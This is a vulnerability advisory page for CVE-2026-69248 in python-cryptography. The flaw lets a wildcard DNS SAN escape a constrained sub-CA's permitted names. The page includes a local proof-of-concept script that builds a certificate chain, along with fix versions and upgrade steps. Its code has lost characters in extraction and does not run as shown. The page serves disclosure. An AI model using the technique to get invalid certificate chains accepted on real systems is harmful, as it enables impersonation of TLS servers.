CVE-2026-69248: python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees

Published Aug 3, 2026
·
Updated

Summary If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of .example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.

PoC

#!/usr/bin/env python3 """Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.

Setup: Sub-CA permitted constraint: dNSName = foo.example.com Leaf SAN: dNSName = .example.com Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics). Observed: pyca accepts; further, asks server-verifier whether the leaf is authoritative for bar.example.com and pyca answers yes — a sub-CA scope escape. """ import datetime from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import ec from cryptography.x509.verification import ( PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError, )

now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc) day = datetime.timedelta(days=1)

def build(subject, issuer, key, issuerkey, ca, exts=()): b = (x509.CertificateBuilder() .subjectname(subject).issuername(issuer) .publickey(key.publickey()) .serialnumber(x509.randomserialnumber()) .notvalidbefore(now - 30 day) .notvalidafter(now + 3650 day) .addextension(x509.BasicConstraints(ca=ca, pathlength=None), critical=True)) for e, c in exts: b = b.addextension(e, c) return b.sign(issuerkey, hashes.SHA256())

Root rk = ec.generateprivatekey(ec.SECP256R1()) rn = x509.Name([x509.NameAttribute(NameOID.COMMONNAME, "Test Root")]) root = build(rn, rn, rk, rk, True)

Sub-CA constrained to foo.example.com sk = ec.generateprivatekey(ec.SECP256R1()) sn = x509.Name([x509.NameAttribute(NameOID.COMMONNAME, "Sub-CA")]) nc = x509.NameConstraints( permittedsubtrees=[x509.DNSName("foo.example.com")], excludedsubtrees=None, ) sub = build(sn, rn, sk, rk, True, [(nc, True)])

Leaf with SAN .example.com (over-broad relative to the constraint) lk = ec.generateprivatekey(ec.SECP256R1()) ln = x509.Name([x509.NameAttribute(NameOID.COMMONNAME, "Leaf")]) san = x509.SubjectAlternativeName([x509.DNSName(".example.com")]) leaf = build(ln, sn, lk, sk, False, [(san, False)])

Policies capol = ExtensionPolicy.permitall().requirepresent( x509.BasicConstraints, Criticality.AGNOSTIC, None, ) eepol = ExtensionPolicy.permitall().requirepresent( x509.SubjectAlternativeName, Criticality.AGNOSTIC, None, ) v = ( PolicyBuilder() .store(Store([root])) .time(now) .extensionpolicies(capolicy=capol, eepolicy=eepol) .buildserververifier(x509.DNSName("bar.example.com")) ) try: v.verify(leaf, [sub]) print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com") except VerificationError as e: print(f"EXPECTED: VerificationError: {e}")

Impact

Acceptance of invalid certificate chain.

Other sources

cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to 49.0.0, if an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of .example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names. The core issue is in DNSConstraint::matches, where a wildcard pattern was treated as matching a more-specific permitted constraint even though .example.com can expand to sibling names such as bar.example.com outside foo.example.com. This allows acceptance of an invalid certificate chain. This issue is fixed in 49.0.0.

MITRE

Affected Software

2 affected componentsFixes available
python-cryptography cryptography<49.0.0
pip/cryptography<=48.0.0
49.0.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/cryptography to a version that resolves this vulnerability.

    Fixed in 49.0.0
  2. Upgrade

    Upgrade pyca's cryptography to a version that resolves this vulnerability.

    Fixed in 49.0.0

Event History

Aug 3, 2026
CVE Published
via MITRE·09:21 PM
Data Sourced
via MITRE·09:21 PM
DescriptionWeakness
Advisory Published
via GitHub·09:26 PM
Data Sourced
via GitHub·09:26 PM
DescriptionWeaknessAffected Software
Data Sourced
via NVD·10:16 PM
DescriptionSeverityWeakness
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-69248?

The severity of CVE-2026-69248 is rated at risk 51.

2

How do I fix CVE-2026-69248?

To fix CVE-2026-69248, update the python-cryptography package to the latest version that addresses this issue.

3

What applications are affected by CVE-2026-69248?

CVE-2026-69248 affects the python-cryptography library, often used in applications handling SSL/TLS certificates.

4

What types of vulnerabilities does CVE-2026-69248 expose?

CVE-2026-69248 exposes a flaw where wildcard DNS names can escape permitted subtree restrictions in a constrained CA.

5

When was CVE-2026-69248 published?

CVE-2026-69248 was published on August 3, 2026.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203